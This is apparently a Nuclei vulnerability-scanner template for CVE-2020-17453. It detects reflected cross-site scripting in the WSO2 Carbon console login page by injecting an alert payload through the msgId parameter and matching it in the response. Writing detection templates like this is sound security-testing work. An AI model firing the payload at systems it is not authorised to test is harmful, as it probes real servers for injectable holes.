CVE-2020-17453.yaml

id: CVE-2020-17453.yaml

info:
  name:  ws02 xss carbon management console  
  author: medbsq
  severity: cretical 

requests:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/admin/login.jsp?msgId=%27;alert(1213)//"
    matchers:
      - type: word
        words:
                - "alert(1213)"
        part: body